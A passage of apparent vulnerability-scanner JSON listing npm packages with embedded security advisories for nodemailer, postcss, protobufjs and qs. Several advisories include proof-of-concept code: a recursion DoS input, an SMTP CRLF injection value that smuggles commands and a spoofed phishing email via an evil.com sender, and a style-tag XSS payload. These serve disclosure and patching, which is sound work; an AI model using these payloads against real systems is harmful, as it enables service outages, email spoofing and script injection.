|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2025-12-01T20:44:25Z",
|
||
"nvd_published_at": null,
|
||
"severity": "HIGH"
|
||
},
|
||
"details": "### Summary\nA DoS can occur that immediately halts the system due to the use of an unsafe function.\n\n### Details\nAccording to **RFC 5322**, nested group structures (a group inside another group) are not allowed. Therefore, in lib/addressparser/index.js, the email address parser performs flattening when nested groups appear, since such input is likely to be abnormal. (If the address is valid, it is added as-is.) In other words, the parser flattens all nested groups and inserts them into the final group list.\nHowever, the code implemented for this flattening process can be exploited by malicious input and triggers DoS\n\nRFC 5322 uses a colon (:) to define a group, and commas (,) are used to separate members within a group.\nAt the following location in lib/addressparser/index.js:\n\nhttps://github.com/nodemailer/nodemailer/blob/master/lib/addressparser/index.js#L90\n\nthere is code that performs this flattening. The issue occurs when the email address parser attempts to process the following kind of malicious address header:\n\n```g0: g1: g2: g3: ... gN: victim@example.com;```\n\nBecause no recursion depth limit is enforced, the parser repeatedly invokes itself in the pattern\n`addressparser → _handleAddress → addressparser → ...`\nfor each nested group. As a result, when an attacker sends a header containing many colons, Nodemailer enters infinite recursion, eventually throwing Maximum call stack size exceeded and causing the process to terminate immediately. Due to the structure of this behavior, no authentication is required, and a single request is enough to shut down the service.\n\nThe problematic code section is as follows:\n```js\nif (isGroup) {\n ...\n if (data.group.length) {\n let parsedGroup = addressparser(data.group.join(',')); // \u003c- boom!\n parsedGroup.forEach(member =\u003e {\n if (member.group) {\n groupMembers = groupMembers.concat(member.group);\n } else {\n groupMembers.push(member);\n }\n });\n }\n}\n```\n`data.group` is expected to contain members separated by commas, but in the attacker’s payload the group contains colon `(:)` tokens. Because of this, the parser repeatedly triggers recursive calls for each colon, proportional to their number.\n\n### PoC\n\n```\nconst nodemailer = require('nodemailer');\n\nfunction buildDeepGroup(depth) {\n let parts = [];\n for (let i = 0; i \u003c depth; i++) {\n parts.push(`g${i}:`);\n }\n return parts.join(' ') + ' user@example.com;';\n}\n\nconst DEPTH = 3000; // \u003c- control depth \nconst toHeader = buildDeepGroup(DEPTH);\nconsole.log('to header length:', toHeader.length);\n\nconst transporter = nodemailer.createTransport({\n streamTransport: true,\n buffer: true,\n newline: 'unix'\n});\n\nconsole.log('parsing start');\n\ntransporter.sendMail(\n {\n from: 'test@example.com',\n to: toHeader,\n subject: 'test',\n text: 'test'\n },\n (err, info) =\u003e {\n if (err) {\n console.error('error:', err);\n } else {\n console.log('finished :', info \u0026\u0026 info.envelope);\n }\n }\n);\n```\nAs a result, when the colon is repeated beyond a certain threshold, the Node.js process terminates immediately.\n\n### Impact\nThe attacker can achieve the following:\n\n1. Force an immediate crash of any server/service that uses Nodemailer\n2. Kill the backend process with a single web request\n3. In environments using PM2/Forever, trigger a continuous restart loop, causing severe resource exhaustion”",
|
||
"id": "GHSA-rcmh-qjqh-p98v",
|
||
"modified": "2026-03-14T05:43:57.222709Z",
|
||
"published": "2025-12-01T20:44:25Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-rcmh-qjqh-p98v"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14874"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/nodemailer/nodemailer/commit/b61b9c0cfd682b6f647754ca338373b68336a150"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://access.redhat.com/security/cve/CVE-2025-14874"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2418133"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/nodemailer/nodemailer"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-rqf3-5fp9-hp42",
|
||
"CVE-2025-14874"
|
||
],
|
||
"schema_version": "1.7.5",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
|
||
"type": "CVSS_V3"
|
||
}
|
||
],
|
||
"summary": "Nodemailer’s addressparser is vulnerable to DoS caused by recursive calls"
|
||
},
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"last_known_affected_version_range": "\u003c= 8.0.4",
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-vvjj-xcjg-gr5g/GHSA-vvjj-xcjg-gr5g.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "nodemailer",
|
||
"purl": "pkg:npm/nodemailer"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "0"
|
||
},
|
||
{
|
||
"fixed": "8.0.5"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-93"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-04-08T15:05:20Z",
|
||
"nvd_published_at": null,
|
||
"severity": "MODERATE"
|
||
},
|
||
"details": "### Summary\n\nNodemailer versions up to and including 8.0.4 are vulnerable to SMTP command injection via CRLF sequences in the transport `name` configuration option. The `name` value is used directly in the EHLO/HELO SMTP command without any sanitization for carriage return and line feed characters (`\\r\\n`). An attacker who can influence this option can inject arbitrary SMTP commands, enabling unauthorized email sending, email spoofing, and phishing attacks.\n\n### Details\n\nThe vulnerability exists in `lib/smtp-connection/index.js`. When establishing an SMTP connection, the `name` option is concatenated directly into the EHLO command:\n\n```javascript\n// lib/smtp-connection/index.js, line 71\nthis.name = this.options.name || this._getHostname();\n\n// line 1336\nthis._sendCommand('EHLO ' + this.name);\n```\n\nThe `_sendCommand` method writes the string directly to the socket followed by `\\r\\n` (line 1082):\n\n```javascript\nthis._socket.write(Buffer.from(str + '\\r\\n', 'utf-8'));\n```\n\nIf the `name` option contains `\\r\\n` sequences, each injected line is interpreted by the SMTP server as a separate command. Unlike the `envelope.from` and `envelope.to` fields which are validated for `\\r\\n` (line 1107-1119), and unlike `envelope.size` which was recently fixed (GHSA-c7w3-x93f-qmm8) by casting to a number, the `name` parameter receives no CRLF sanitization whatsoever.\n\nThis is distinct from the previously reported GHSA-c7w3-x93f-qmm8 (envelope.size injection) as it affects a different parameter (`name` vs `size`), uses a different injection point (EHLO command vs MAIL FROM command), and occurs at connection initialization rather than during message sending.\n\nThe `name` option is also used in HELO (line 1384) and LHLO (line 1333) commands with the same lack of sanitization.\n\n### PoC\n\n```javascript\nconst nodemailer = require('nodemailer');\nconst net = require('net');\n\n// Simple SMTP server to observe injected commands\nconst server = net.createServer(socket =\u003e {\n socket.write('220 test ESMTP\\r\\n');\n socket.on('data', data =\u003e {\n const lines = data.toString().split('\\r\\n').filter(l =\u003e l);\n lines.forEach(line =\u003e {\n console.log('SMTP CMD:', line);\n if (line.startsWith('EHLO') || line.startsWith('HELO'))\n socket.write('250 OK\\r\\n');\n else if (line.startsWith('MAIL FROM'))\n socket.write('250 OK\\r\\n');\n else if (line.startsWith('RCPT TO'))\n socket.write('250 OK\\r\\n');\n else if (line === 'DATA')\n socket.write('354 Go\\r\\n');\n else if (line === '.')\n socket.write('250 OK\\r\\n');\n else if (line === 'QUIT')\n { socket.write('221 Bye\\r\\n'); socket.end(); }\n else if (line === 'RSET')\n socket.write('250 OK\\r\\n');\n });\n });\n});\n\nserver.listen(0, '127.0.0.1', () =\u003e {\n const port = server.address().port;\n\n // Inject a complete phishing email via EHLO name\n const transport = nodemailer.createTransport({\n host: '127.0.0.1',\n port: port,\n secure: false,\n name: 'legit.host\\r\\nMAIL FROM:\u003cattacker@evil.com\u003e\\r\\n'\n + 'RCPT TO:\u003cvictim@target.com\u003e\\r\\nDATA\\r\\n'\n + 'From: ceo@company.com\\r\\nTo: victim@target.com\\r\\n'\n + 'Subject: Urgent\\r\\n\\r\\nPhishing content\\r\\n.\\r\\nRSET'\n });\n\n transport.sendMail({\n from: 'legit@example.com',\n to: 'legit-recipient@example.com',\n subject: 'Normal email',\n text: 'Normal content'\n }, () =\u003e { server.close(); process.exit(0); });\n});\n```\n\nRunning this PoC shows the SMTP server receives the injected MAIL FROM, RCPT TO, DATA, and phishing email content as separate SMTP commands before the legitimate email is sent.\n\n### Impact\n\n**Who is affected:** Applications that allow users or external input to configure the `name` SMTP transport option. This includes:\n- Multi-tenant SaaS platforms with per-tenant SMTP configuration\n- Admin panels where SMTP hostname/name settings are stored in databases\n- Applications loading SMTP config from environment variables or external sources\n\n**What can an attacker do:**\n1. **Send unauthorized emails** to arbitrary recipients by injecting MAIL FROM and RCPT TO commands\n2. **Spoof email senders** by injecting arbitrary From headers in the DATA portion\n3. **Conduct phishing attacks** using the legitimate SMTP server as a relay\n4. **Bypass application-level controls** on email recipients, since the injected commands are processed before the application's intended MAIL FROM/RCPT TO\n5. **Perform SMTP reconnaissance** by injecting commands like VRFY or EXPN\n\nThe injection occurs at the EHLO stage (before authentication in most SMTP flows), making it particularly dangerous as the injected commands may be processed with the server's trust context.\n\n**Recommended fix:** Sanitize the `name` option by stripping or rejecting CRLF sequences, similar to how `envelope.from` and `envelope.to` are already validated on lines 1107-1119 of `lib/smtp-connection/index.js`. For example:\n\n```javascript\nthis.name = (this.options.name || this._getHostname()).replace(/[\\r\\n]/g, '');\n```",
|
||
"id": "GHSA-vvjj-xcjg-gr5g",
|
||
"modified": "2026-04-09T18:14:24.379591153Z",
|
||
"published": "2026-04-08T15:05:20Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-vvjj-xcjg-gr5g"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/nodemailer/nodemailer/commit/0a43876801a420ca528f492eaa01bfc421cc306e"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/nodemailer/nodemailer"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/nodemailer/nodemailer/releases/tag/v8.0.5"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-hcg3-qr46-wxcm"
|
||
],
|
||
"schema_version": "1.7.5",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N",
|
||
"type": "CVSS_V3"
|
||
}
|
||
],
|
||
"summary": "Nodemailer Vulnerable to SMTP Command Injection via CRLF in Transport name Option (EHLO/HELO) "
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"package": {
|
||
"name": "postcss",
|
||
"version": "8.4.31",
|
||
"ecosystem": "npm"
|
||
},
|
||
"groups": [
|
||
{
|
||
"ids": [
|
||
"GHSA-qx2v-qp2m-jg93"
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-41305",
|
||
"GHSA-qx2v-qp2m-jg93"
|
||
],
|
||
"max_severity": "6.1"
|
||
}
|
||
],
|
||
"vulnerabilities": [
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-qx2v-qp2m-jg93/GHSA-qx2v-qp2m-jg93.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "postcss",
|
||
"purl": "pkg:npm/postcss"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "0"
|
||
},
|
||
{
|
||
"fixed": "8.5.10"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-41305"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-79"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-04-24T15:31:42Z",
|
||
"nvd_published_at": "2026-04-24T03:16:11Z",
|
||
"severity": "MODERATE"
|
||
},
|
||
"details": "# PostCSS: XSS via Unescaped `\u003c/style\u003e` in CSS Stringify Output\n\n## Summary\n\nPostCSS v8.5.5 (latest) does not escape `\u003c/style\u003e` sequences when stringifying CSS ASTs. When user-submitted CSS is parsed and re-stringified for embedding in HTML `\u003cstyle\u003e` tags, `\u003c/style\u003e` in CSS values breaks out of the style context, enabling XSS.\n\n## Proof of Concept\n\n```javascript\nconst postcss = require('postcss');\n\n// Parse user CSS and re-stringify for page embedding\nconst userCSS = 'body { content: \"\u003c/style\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003cstyle\u003e\"; }';\nconst ast = postcss.parse(userCSS);\nconst output = ast.toResult().css;\nconst html = `\u003cstyle\u003e${output}\u003c/style\u003e`;\n\nconsole.log(html);\n// \u003cstyle\u003ebody { content: \"\u003c/style\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003cstyle\u003e\"; }\u003c/style\u003e\n//\n// Browser: \u003c/style\u003e closes the style tag, \u003cscript\u003e executes\n```\n\n**Tested output** (Node.js v22, postcss v8.5.5):\n```\nInput: body { content: \"\u003c/style\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003cstyle\u003e\"; }\nOutput: body { content: \"\u003c/style\u003e\u003cscript\u003ealert(1)\u003c/script\u003e\u003cstyle\u003e\"; }\nContains \u003c/style\u003e: true\n```\n\n## Impact\n\nImpact non-bundler use cases since bundlers for XSS on their own. Requires some PostCSS plugin to have malware code, which can inject XSS to website.\n\n## Suggested Fix\n\nEscape `\u003c/style` in all stringified output values:\n```javascript\noutput = output.replace(/\u003c\\/(style)/gi, '\u003c\\\\/$1');\n```\n\n## Credits\nDiscovered and reported by [Sunil Kumar](https://tharvid.in) ([@TharVid](https://github.com/TharVid))",
|
||
"id": "GHSA-qx2v-qp2m-jg93",
|
||
"modified": "2026-05-06T17:44:15.783349140Z",
|
||
"published": "2026-04-24T15:31:42Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/postcss/postcss/security/advisories/GHSA-qx2v-qp2m-jg93"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41305"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/postcss/postcss"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/postcss/postcss/releases/tag/8.5.10"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-jr2c-rgcp-7w5j"
|
||
],
|
||
"schema_version": "1.7.5",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
|
||
"type": "CVSS_V3"
|
||
}
|
||
],
|
||
"summary": "PostCSS has XSS via Unescaped \u003c/style\u003e in its CSS Stringify Output"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"package": {
|
||
"name": "protobufjs",
|
||
"version": "7.5.6",
|
||
"ecosystem": "npm"
|
||
},
|
||
"dependency_groups": [
|
||
"optional"
|
||
],
|
||
"groups": [
|
||
{
|
||
"ids": [
|
||
"GHSA-jggg-4jg4-v7c6"
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-45740",
|
||
"GHSA-jggg-4jg4-v7c6"
|
||
],
|
||
"max_severity": "5.3"
|
||
}
|
||
],
|
||
"vulnerabilities": [
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"last_known_affected_version_range": "\u003c= 7.5.7",
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-jggg-4jg4-v7c6/GHSA-jggg-4jg4-v7c6.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "protobufjs",
|
||
"purl": "pkg:npm/protobufjs"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "0"
|
||
},
|
||
{
|
||
"fixed": "7.5.8"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"database_specific": {
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-jggg-4jg4-v7c6/GHSA-jggg-4jg4-v7c6.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "protobufjs",
|
||
"purl": "pkg:npm/protobufjs"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "8.0.0"
|
||
},
|
||
{
|
||
"fixed": "8.2.0"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-45740"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-674"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-05-19T16:21:33Z",
|
||
"nvd_published_at": "2026-05-13T16:17:00Z",
|
||
"severity": "MODERATE"
|
||
},
|
||
"details": "## Summary\n\nprotobufjs could recurse without a depth limit while expanding nested JSON descriptors through `Root.fromJSON()` and `Namespace.addJSON()`.\n\nA crafted JSON descriptor with deeply nested namespace definitions could cause the JavaScript call stack to be exhausted during descriptor loading.\n\n## Impact\n\nAn attacker who can provide JSON descriptors loaded by an application may be able to crash the process or otherwise cause schema loading to fail with a stack overflow.\n\nThis affects applications that load JSON descriptors from untrusted sources with affected versions.\n\n## Preconditions\n\n- The application must load JSON descriptor data influenced by an attacker.\n- The crafted descriptor must contain deeply nested `nested` namespace objects.\n- The affected `Root.fromJSON()` / `Namespace.addJSON()` descriptor expansion path must process the crafted input.\n\n## Workarounds\n\nAvoid loading untrusted protobuf JSON descriptors with affected versions. If immediate upgrade is not possible, reject excessively nested descriptor structures at an outer validation boundary where feasible, or isolate descriptor loading in a process that can be safely restarted.",
|
||
"id": "GHSA-jggg-4jg4-v7c6",
|
||
"modified": "2026-05-20T18:14:21.955161775Z",
|
||
"published": "2026-05-19T16:21:33Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-jggg-4jg4-v7c6"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45740"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/protobufjs/protobuf.js"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-9qrc-pm54-vxhw"
|
||
],
|
||
"schema_version": "1.7.5",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
|
||
"type": "CVSS_V3"
|
||
}
|
||
],
|
||
"summary": "protobufjs: Denial of Service via unbounded recursive JSON descriptor expansion"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"package": {
|
||
"name": "qs",
|
||
"version": "6.14.2",
|
||
"ecosystem": "npm"
|
||
},
|
||
"groups": [
|
||
{
|
||
"ids": [
|
||
"GHSA-q8mj-m7cp-5q26"
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-8723",
|
||
"GHSA-q8mj-m7cp-5q26"
|
||
],
|
||
"max_severity": "6.3"
|
||
}
|
||
],
|
||
"vulnerabilities": [
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"last_known_affected_version_range": "\u003c= 6.15.1",
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-q8mj-m7cp-5q26/GHSA-q8mj-m7cp-5q26.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "qs",
|
||
"purl": "pkg:npm/qs"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "6.11.1"
|
||
},
|
||
{
|
||
"fixed": "6.15.2"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-8723"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-476"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-05-22T17:27:19Z",
|
||
"nvd_published_at": "2026-05-17T00:16:21Z",
|
||
"severity": "MODERATE"
|
||
},
|
||
"details": "### Summary\n\n`qs.stringify` throws `TypeError` when called with `arrayFormat: 'comma'` and `encodeValuesOnly: true` on an array containing `null` or `undefined`. The throw is synchronous and not handled by any of qs's null-related options (`skipNulls`, `strictNullHandling`).\n\n### Details\n\nIn the comma + `encodeValuesOnly` branch, `lib/stringify.js:145` mapped the array through the raw encoder before joining:\n\n```js\nobj = utils.maybeMap(obj, encoder);\n```\n\n`utils.encode` (`lib/utils.js:195`) reads `str.length` with no null guard, so a `null` or `undefined` element throws `TypeError`. `skipNulls` and `strictNullHandling` are both checked in the per-element loop below this line and never get a chance to run.\n\nSame class of bug as the filter-array path fixed in 0c180a4. The vulnerable shape of the comma + `encodeValuesOnly` branch was introduced in 4c4b23d (\"encode comma values more consistently\", PR #463, 2023-01-19), first released in v6.11.1.\n\n#### PoC\n\n```js\nconst qs = require('qs');\n\nqs.stringify({ a: [null, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true });\nqs.stringify({ a: [undefined, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true });\nqs.stringify({ a: [null] }, { arrayFormat: 'comma', encodeValuesOnly: true });\n// TypeError: Cannot read properties of null (reading 'length')\n// at encode (lib/utils.js:195:13)\n// at Object.maybeMap (lib/utils.js:322:37)\n// at stringify (lib/stringify.js:145:25)\n```\n\n#### Fix\n\n`lib/stringify.js:145`, applied in 21f80b3 on `main`:\n\n```diff\n- obj = utils.maybeMap(obj, encoder);\n+ obj = utils.maybeMap(obj, function (v) {\n+ return v == null ? v : encoder(v);\n+ });\n```\n\n`null` and `undefined` now pass through `maybeMap` unchanged and reach the `join(',')` step as-is. For `{ a: [null, 'b'] }` this produces `a=,b`, matching the non-`encodeValuesOnly` comma path (which already joins before encoding and produces `a=%2Cb` for the same input). Single-element `[null]` arrays still collapse via the existing `obj.join(',') || null` and remain subject to `skipNulls` / `strictNullHandling` in the main loop.\n\n### Affected versions\n\n`\u003e=6.11.1 \u003c=6.15.1`\n\nThe vulnerable code shape was introduced in 4c4b23d and first shipped in v6.11.1. Earlier versions — including all of 6.7.x, 6.8.x, 6.9.x, 6.10.x, and 6.11.0 — implemented the comma + `encodeValuesOnly` path differently (joining before encoding) and are not affected. Empirically verified across released versions.\n\n### Impact\n\nApplication code that calls `qs.stringify` with both `arrayFormat: 'comma'` and `encodeValuesOnly: true` (both non-default) on input that may contain a `null` or `undefined` array element will throw synchronously instead of producing a query string. In a typical Node.js HTTP framework (Express, Fastify, Koa, hapi) the sync throw is caught by the framework's error boundary and the affected request returns a 500; the worker process does not exit and subsequent requests are unaffected. The \"kills the worker process\" framing applies only to call sites outside a request-handler error boundary (background jobs, startup paths, stream pipelines) or to deployments with framework error handling explicitly disabled.\n\nThe vulnerable input is a `null` or `undefined` entry inside an array; this is reachable from JSON request bodies or from application code constructing arrays from user input, but not from standard HTML form submissions (which produce strings or omitted fields, not literal `null`).",
|
||
"id": "GHSA-q8mj-m7cp-5q26",
|
||
"modified": "2026-05-26T17:14:20.672533646Z",
|
||
"published": "2026-05-22T17:27:19Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/ljharb/qs/security/advisories/GHSA-q8mj-m7cp-5q26"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8723"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/ljharb/qs/commit/21f80b33e5c8b3f7eba1034fff0da4a4a37a1d41"
|
||
},
|
||
{
|
||
"type": "PACKAGE",
|
||
"url": "https://github.com/ljharb/qs"
|
||
}
|
||
],
|
||
"related": [
|
||
"CGA-jh39-jp7p-mqmv"
|
||
],
|
||
"schema_version": "1.7.5",
|
||
"severity": [
|
||
{
|
||
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
|
||
"type": "CVSS_V3"
|
||
},
|
||
{
|
||
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
|
||
"type": "CVSS_V4"
|
||
}
|
||
],
|
||
"summary": "qs has a remotely triggerable DoS: qs.stringify crashes with TypeError on null/undefined entries in comma-format arrays when encodeValuesOnly is set"
|
||
}
|
||
]
|
||
},
|
||
{
|
||
"package": {
|
||
"name": "qs",
|
||
"version": "6.15.1",
|
||
"ecosystem": "npm"
|
||
},
|
||
"groups": [
|
||
{
|
||
"ids": [
|
||
"GHSA-q8mj-m7cp-5q26"
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-8723",
|
||
"GHSA-q8mj-m7cp-5q26"
|
||
],
|
||
"max_severity": "6.3"
|
||
}
|
||
],
|
||
"vulnerabilities": [
|
||
{
|
||
"affected": [
|
||
{
|
||
"database_specific": {
|
||
"last_known_affected_version_range": "\u003c= 6.15.1",
|
||
"source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-q8mj-m7cp-5q26/GHSA-q8mj-m7cp-5q26.json"
|
||
},
|
||
"package": {
|
||
"ecosystem": "npm",
|
||
"name": "qs",
|
||
"purl": "pkg:npm/qs"
|
||
},
|
||
"ranges": [
|
||
{
|
||
"events": [
|
||
{
|
||
"introduced": "6.11.1"
|
||
},
|
||
{
|
||
"fixed": "6.15.2"
|
||
}
|
||
],
|
||
"type": "SEMVER"
|
||
}
|
||
]
|
||
}
|
||
],
|
||
"aliases": [
|
||
"CVE-2026-8723"
|
||
],
|
||
"database_specific": {
|
||
"cwe_ids": [
|
||
"CWE-476"
|
||
],
|
||
"github_reviewed": true,
|
||
"github_reviewed_at": "2026-05-22T17:27:19Z",
|
||
"nvd_published_at": "2026-05-17T00:16:21Z",
|
||
"severity": "MODERATE"
|
||
},
|
||
"details": "### Summary\n\n`qs.stringify` throws `TypeError` when called with `arrayFormat: 'comma'` and `encodeValuesOnly: true` on an array containing `null` or `undefined`. The throw is synchronous and not handled by any of qs's null-related options (`skipNulls`, `strictNullHandling`).\n\n### Details\n\nIn the comma + `encodeValuesOnly` branch, `lib/stringify.js:145` mapped the array through the raw encoder before joining:\n\n```js\nobj = utils.maybeMap(obj, encoder);\n```\n\n`utils.encode` (`lib/utils.js:195`) reads `str.length` with no null guard, so a `null` or `undefined` element throws `TypeError`. `skipNulls` and `strictNullHandling` are both checked in the per-element loop below this line and never get a chance to run.\n\nSame class of bug as the filter-array path fixed in 0c180a4. The vulnerable shape of the comma + `encodeValuesOnly` branch was introduced in 4c4b23d (\"encode comma values more consistently\", PR #463, 2023-01-19), first released in v6.11.1.\n\n#### PoC\n\n```js\nconst qs = require('qs');\n\nqs.stringify({ a: [null, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true });\nqs.stringify({ a: [undefined, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true });\nqs.stringify({ a: [null] }, { arrayFormat: 'comma', encodeValuesOnly: true });\n// TypeError: Cannot read properties of null (reading 'length')\n// at encode (lib/utils.js:195:13)\n// at Object.maybeMap (lib/utils.js:322:37)\n// at stringify (lib/stringify.js:145:25)\n```\n\n#### Fix\n\n`lib/stringify.js:145`, applied in 21f80b3 on `main`:\n\n```diff\n- obj = utils.maybeMap(obj, encoder);\n+ obj = utils.maybeMap(obj, function (v) {\n+ return v == null ? v : encoder(v);\n+ });\n```\n\n`null` and `undefined` now pass through `maybeMap` unchanged and reach the `join(',')` step as-is. For `{ a: [null, 'b'] }` this produces `a=,b`, matching the non-`encodeValuesOnly` comma path (which already joins before encoding and produces `a=%2Cb` for the same input). Single-element `[null]` arrays still collapse via the existing `obj.join(',') || null` and remain subject to `skipNulls` / `strictNullHandling` in the main loop.\n\n### Affected versions\n\n`\u003e=6.11.1 \u003c=6.15.1`\n\nThe vulnerable code shape was introduced in 4c4b23d and first shipped in v6.11.1. Earlier versions — including all of 6.7.x, 6.8.x, 6.9.x, 6.10.x, and 6.11.0 — implemented the comma + `encodeValuesOnly` path differently (joining before encoding) and are not affected. Empirically verified across released versions.\n\n### Impact\n\nApplication code that calls `qs.stringify` with both `arrayFormat: 'comma'` and `encodeValuesOnly: true` (both non-default) on input that may contain a `null` or `undefined` array element will throw synchronously instead of producing a query string. In a typical Node.js HTTP framework (Express, Fastify, Koa, hapi) the sync throw is caught by the framework's error boundary and the affected request returns a 500; the worker process does not exit and subsequent requests are unaffected. The \"kills the worker process\" framing applies only to call sites outside a request-handler error boundary (background jobs, startup paths, stream pipelines) or to deployments with framework error handling explicitly disabled.\n\nThe vulnerable input is a `null` or `undefined` entry inside an array; this is reachable from JSON request bodies or from application code constructing arrays from user input, but not from standard HTML form submissions (which produce strings or omitted fields, not literal `null`).",
|
||
"id": "GHSA-q8mj-m7cp-5q26",
|
||
"modified": "2026-05-26T17:14:20.672533646Z",
|
||
"published": "2026-05-22T17:27:19Z",
|
||
"references": [
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/ljharb/qs/security/advisories/GHSA-q8mj-m7cp-5q26"
|
||
},
|
||
{
|
||
"type": "ADVISORY",
|
||
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8723"
|
||
},
|
||
{
|
||
"type": "WEB",
|
||
"url": "https://github.com/ljharb/qs/commit/21f80b33e5c8b3f7eba1034fff0da4a4a37a1d41"
|
||
},
